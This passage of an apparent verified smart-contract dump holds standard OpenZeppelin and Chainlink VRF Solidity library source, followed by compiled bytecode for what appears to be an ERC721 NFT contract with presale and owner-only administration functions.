amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance( address owner, address spender ) external view returns ( uint256 remaining ); function approve( address spender, uint256 value ) external returns ( bool success ); function balanceOf( address owner ) external view returns ( uint256 balance ); function decimals() external view returns ( uint8 decimalPlaces ); function decreaseApproval( address spender, uint256 addedValue ) external returns ( bool success ); function increaseApproval( address spender, uint256 subtractedValue ) external; function name() external view returns ( string memory tokenName ); function symbol() external view returns ( string memory tokenSymbol ); function totalSupply() external view returns ( uint256 totalTokensIssued ); function transfer( address to, uint256 value ) external returns ( bool success ); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns ( bool success ); function transferFrom( address from, address to, uint256 value ) external returns ( bool success ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns ( uint256 ) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness( bytes32 requestId, uint256 randomness ) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness( bytes32 _keyHash, uint256 _fee ) internal returns ( bytes32 requestId ) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor( address _vrfCoordinator, address _link ) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness( bytes32 requestId, uint256 randomness ) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } }
0x6080604052600436106103a25760003560e01c806370a08231116101e7578063b88d4fde1161010d578063dc8c57b4116100a0578063f5ebec801161006f578063f5ebec8014610ad3578063ff1b655614610afa578063ff56177a14610b0f578063ffe630b514610b2f57600080fd5b8063dc8c57b414610a6a578063e985e9c514610a80578063efef39a114610aa0578063f2fde38b14610ab357600080fd5b8063bceae77b116100dc578063bceae77b146109f7578063bf34be4414610a17578063c86768d814610a37578063c87b56dd14610a4a57600080fd5b8063b88d4fde1461095d578063b8fa1b9c1461097d578063bba7723e1461099d578063bc56602f146109ca57600080fd5b806395d89b4111610185578063a72b923e11610154578063a72b923e146108eb578063a82524b21461090b578063abd0359614610921578063affe39c11461093b57600080fd5b806395d89b41146108815780639a6acf20146108965780639d1b464a146108b6578063a22cb465146108cb57600080fd5b80638342083a116101c15780638342083a1461080e5780638da5cb5b1461082e57806391ba317a1461084c57806394985ddd1461086157600080fd5b806370a08231146107b9578063715018a6146107d95780638033260a146107ee57600080fd5b80632f745c59116102cc57806354214f691161026a57806362dc6e211161023957806362dc6e21146107325780636352211e146107595780636c19e783146107795780636cf806901461079957600080fd5b806354214f69146106b457806355f804b3146106d35780635c975abb146106f3578063611f3f101461071257600080fd5b80633ccfd60b116102a65780633ccfd60b1461064957806342842e0e1461065e578063450c500a1461067e5780634f6ccce71461069457600080fd5b80632f745c59146105d757806332cb6b0c146105f75780633408e4701461063657600080fd5b8063163e1e611161034457806323b872dd1161031357806323b872dd14610541578063296cab55146105615780632a3f300c146105815780632d0335ab146105a157600080fd5b8063163e1e61146104c957806316c38b3c146104e957806318160ddd1461050957806320379ee51461052c57600080fd5b8063095ea7b311610380578063095ea7b3146104365780630c53c51c146104585780630f1876a21461046b5780630f7e59701461048057600080fd5b806301ffc9a7146103a757806306fdde03146103dc578063081812fc146103fe575b600080fd5b3480156103b357600080fd5b506103c76103c23660046142ce565b610b4f565b60405190151581526020015b60405180910390f35b3480156103e857600080fd5b506103f1610b93565b6040516103d39190614657565b34801561040a57600080fd5b5061041e610419366004614397565b610c25565b6040516001600160a01b0390911681526020016103d3565b34801561044257600080fd5b506104566104513660046141d1565b610cc3565b005b6103f1610466366004614153565b610df5565b34801561047757600080fd5b50610456610ffb565b34801561048c57600080fd5b506103f16040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525081565b3480156104d557600080fd5b506104566104e43660046141fd565b6110b6565b3480156104f557600080fd5b50610456610504366004614272565b61126f565b34801561051557600080fd5b5061051e6112de565b6040519081526020016103d3565b34801561053857600080fd5b5060065461051e565b34801561054d57600080fd5b5061045661055c366004614078565b61133a565b34801561056d57600080fd5b5061045661057c366004614397565b6113ab565b34801561058d57600080fd5b5061045661059c366004614272565b61140a565b3480156105ad57600080fd5b5061051e6105bc366004614022565b6001600160a01b031660009081526007602052604090205490565b3480156105e357600080fd5b5061051e6105f23660046141d1565b61149b565b34801561060357600080fd5b50600b5461061e90600160801b90046001600160801b031681565b6040516001600160801b0390911681526020016103d3565b34801561064257600080fd5b504661051e565b34801561065557600080fd5b50610456611578565b34801561066a57600080fd5b50610456610679366004614078565b611675565b34801561068a57600080fd5b5061051e600f5481565b3480156106a057600080fd5b5061051e6106af366004614397565b6116e6565b3480156106c057600080fd5b506010546103c790610100900460ff1681565b3480156106df57600080fd5b506104566106ee366004614325565b6117c2565b3480156106ff57600080fd5b50600854600160a01b900460ff166103c7565b34801561071e57600080fd5b50600d5461061e906001600160801b031681565b34801561073e57600080fd5b50600d5461061e90600160801b90046001600160801b031681565b34801561076557600080fd5b5061041e610774366004614397565b611833565b34801561078557600080fd5b50610456610794366004614022565b6118e1565b3480156107a557600080fd5b506104566107b4366004614272565b61196a565b3480156107c557600080fd5b5061051e6107d4366004614022565b6119d7565b3480156107e557600080fd5b50610456611ab1565b3480156107fa57600080fd5b5061045661080936600461436e565b611b17565b34801561081a57600080fd5b50600b5461061e906001600160801b031681565b34801561083a57600080fd5b506008546001600160a01b031661041e565b34801561085857600080fd5b5061051e611b90565b34801561086d57600080fd5b5061045661087c3660046142ac565b611bb4565b34801561088d57600080fd5b506103f1611c36565b3480156108a257600080fd5b506104566108b1366004614022565b611c45565b3480156108c257600080fd5b5061051e611cce565b3480156108d757600080fd5b506104566108e6366004614125565b611d1a565b3480156108f757600080fd5b5060175461041e906001600160a01b031681565b34801561091757600080fd5b5061051e600e5481565b34801561092d57600080fd5b506010546103c79060ff1681565b34801561094757600080fd5b50610950611d25565b6040516103d391906145d2565b34801561096957600080fd5b506104566109783660046140b9565b611d8b565b34801561098957600080fd5b5061045661099836600461436e565b611e13565b3480156109a957600080fd5b506109bd6109b8366004614022565b611e98565b6040516103d3919061461f565b3480156109d657600080fd5b5061051e6109e5366004614022565b60126020526000908152604090205481565b348015610a0357600080fd5b50600c5461061e906001600160801b031681565b348015610a2357600080fd5b50610456610a3236600461436e565b611fe1565b610456610a453660046143b0565b612066565b348015610a5657600080fd5b506103f1610a65366004614397565b6122f2565b348015610a7657600080fd5b5061051e60135481565b348015610a8c57600080fd5b506103c7610a9b36600461403f565b6123a1565b610456610aae366004614397565b6124a8565b348015610abf57600080fd5b50610456610ace366004614022565b612759565b348015610adf57600080fd5b50600c5461061e90600160801b90046001600160801b031681565b348015610b0657600080fd5b506103f1612838565b348015610b1b57600080fd5b50610456610b2a36600461436e565b6128c6565b348015610b3b57600080fd5b50610456610b4a366004614325565b61294b565b60006001600160e01b031982167f780e9d63000000000000000000000000000000000000000000000000000000001480610b8d5750610b8d826129b8565b92915050565b606060008054610ba2906146f8565b80601f0160208091040260200160405190810160405280929190818152602001828054610bce906146f8565b8015610c1b5780601f10610bf057610100808354040283529160200191610c1b565b820191906000526020600020905b815481529060010190602001808311610bfe57829003601f168201915b5050505050905090565b6000610c3082612a53565b610ca75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152600360205260409020546001600160a01b031690565b6000610cce82611833565b9050806001600160a01b0316836001600160a01b03161415610d585760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610c9e565b336001600160a01b0382161480610d745750610d7481336123a1565b610de65760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610c9e565b610df08383612a9d565b505050565b60408051606081810183526001600160a01b03881660008181526007602090815290859020548452830152918101869052610e338782878787612b18565b610ea55760405162461bcd60e51b815260206004820152602160248201527f5369676e657220616e64207369676e617475726520646f206e6f74206d61746360448201527f68000000000000000000000000000000000000000000000000000000000000006064820152608401610c9e565b6001600160a01b038716600090815260076020526040902054610ec9906001612c20565b6001600160a01b0388166000908152600760205260409081902091909155517f5845892132946850460bff5a0083f71031bc5bf9aadcd40f1de79423eac9b10b90610f1990899033908a90614542565b60405180910390a1600080306001600160a01b0316888a604051602001610f41929190614464565b60408051601f1981840301815290829052610f5b91614448565b6000604051808303816000865af19150503d8060008114610f98576040519150601f19603f3d011682016040523d82523d6000602084013e610f9d565b606091505b509150915081610fef5760405162461bcd60e51b815260206004820152601c60248201527f46756e6374696f6e2063616c6c206e6f74207375636365737366756c000000006044820152606401610c9e565b98975050505050505050565b6008546001600160a01b031633146110555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b601354156110a55760405162461bcd60e51b815260206004820152601560248201527f4f666673657420697320616c72656164792073657400000000000000000000006044820152606401610c9e565b6110b3601a54601954612c33565b50565b6008546001600160a01b031633146111105760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b600b546002548291600160801b90046001600160801b031690611133908361466a565b11156111815760405162461bcd60e51b815260206004820152601860248201527f5f7175616e74697479206578636565647320737570706c7900000000000000006044820152606401610c9e565b60005b81811015611269576111bb8484838181106111a1576111a161479e565b90506020020160208101906111b69190614022565b612dbe565b506017546001600160a01b031663d230af3a60008686858181106111e1576111e161479e565b90506020020160208101906111f69190614022565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401600060405180830381600087803b15801561123e57600080fd5b505af1158015611252573d6000803e3d6000fd5b5050505080806112619061472d565b915050611184565b50505050565b6008546001600160a01b031633146112c95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b806112d6576110b3612dd9565b6110b3612e9a565b600254600090815b818110156113355760006001600160a01b03166002828154811061130c5761130c61479e565b6000918252602090912001546001600160a01b03161461132d578260010192505b6001016112e6565b505090565b601754604051636918579d60e11b81526001600160a01b038581166004830152600060248301529091169063d230af3a90604401600060405180830381600087803b15801561138857600080fd5b505af115801561139c573d6000803e3d6000fd5b50505050610df0838383612f4a565b6008546001600160a01b031633146114055760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b600e55565b6008546001600160a01b031633146114645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b60108054911515610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909216919091179055565b6002546000905b808210156114fc57836001600160a01b0316600283815481106114c7576114c761479e565b6000918252602090912001546001600160a01b031614156114f1576000198301926114f1576114fc565b8160010191506114a2565b8082106115715760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610c9e565b5092915050565b6008546001600160a01b031633146115d25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b6018546040516000916001600160a01b03169047908381818185875af1925050503d806000811461161f576040519150601f19603f3d011682016040523d82523d6000602084013e611624565b606091505b50509050806110b35760405162461bcd60e51b815260206004820152601860248201527f4661696c656420746f2073656e6420746f207661756c742e00000000000000006044820152606401610c9e565b601754604051636918579d60e11b81526001600160a01b038581166004830152600060248301529091169063d230af3a90604401600060405180830381600087803b1580156116c357600080fd5b505af11580156116d7573d6000803e3d6000fd5b50505050610df0838383612fd1565b6002546000905b808210156117475760006001600160a01b0316600283815481106117135761171361479e565b6000918252602090912001546001600160a01b03161461173c5760001983019261173c57611747565b8160010191506116ed565b8082106117bc5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610c9e565b50919050565b6008546001600160a01b0316331461181c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b805161182f906014906020840190613ef3565b5050565b600061183e82612a53565b6118b05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610c9e565b6000600283815481106118c5576118c561479e565b6000918252602090912001546001600160a01b03169392505050565b6008546001600160a01b0316331461193b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b6016805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6008546001600160a01b031633146119c45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b6010805460ff1916911515919091179055565b60006001600160a01b038216611a555760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610c9e565b60025460005b81811015611aaa57836001600160a01b031660028281548110611a8057611a8061479e565b6000918252602090912001546001600160a01b03161415611aa2578260010192505b600101611a5b565b5050919050565b6008546001600160a01b03163314611b0b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b611b156000612fec565b565b6008546001600160a01b03163314611b715760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b600d80546001600160801b03928316600160801b029216919091179055565b600254600090611ba05750600090565b600254611baf906001906146b5565b905090565b336001600160a01b037f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb79521614611c2c5760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c7920565246436f6f7264696e61746f722063616e2066756c66696c6c006044820152606401610c9e565b61182f828261304b565b606060018054610ba2906146f8565b6008546001600160a01b03163314611c9f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b6017805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000600f54600e54611ce0919061466a565b421115611cf857600d546001600160801b0316611d0c565b600d54600160801b90046001600160801b03165b6001600160801b0316905090565b61182f33838361306f565b606060006002805480602002602001604051908101604052809291908181526020018280548015611d7f57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611d61575b50939695505050505050565b611d95338361313e565b611e075760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610c9e565b61126984848484613211565b6008546001600160a01b03163314611e6d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b600d80546fffffffffffffffffffffffffffffffff19166001600160801b0392909216919091179055565b60606000611ea5836119d7565b905080611f1a5760405162461bcd60e51b815260206004820152602660248201527f455243373231456e756d657261626c653a206f776e6572206f776e73206e6f2060448201527f746f6b656e7300000000000000000000000000000000000000000000000000006064820152608401610c9e565b60025460008267ffffffffffffffff811115611f3857611f386147b4565b604051908082528060200260200182016040528015611f61578160200160208202803683370190505b5090506000805b83811015611fd657866001600160a01b031660028281548110611f8d57611f8d61479e565b6000918252602090912001546001600160a01b03161415611fce5780838380600101945081518110611fc157611fc161479e565b6020026020010181815250505b600101611f68565b509095945050505050565b6008546001600160a01b0316331461203b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b600c80546fffffffffffffffffffffffffffffffff19166001600160801b0392909216919091179055565b600260095414156120b95760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610c9e565b6002600955600854600160a01b900460ff16156121185760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a20706175736564000000000000000000000000000000006044820152606401610c9e565b600e5442101561216a5760405162461bcd60e51b815260206004820152601760248201527f50726573616c6520686173206e6f7420737461727465640000000000000000006044820152606401610c9e565b60165461218390839083906001600160a01b031661329a565b6121cf5760405162461bcd60e51b815260206004820152601e60248201527f41646472657373206973206e6f74206f6e2050726573616c65204c69737400006044820152606401610c9e565b600c5433600090815260126020526040902054600160801b9091046001600160801b0316906121fe908561466a565b11156122725760405162461bcd60e51b815260206004820152602160248201527f5175616e746974792065786365656473207065722d77616c6c6574206c696d6960448201527f74000000000000000000000000000000000000000000000000000000000000006064820152608401610c9e565b600d54349061229190600160801b90046001600160801b031685614696565b11156122df57604051624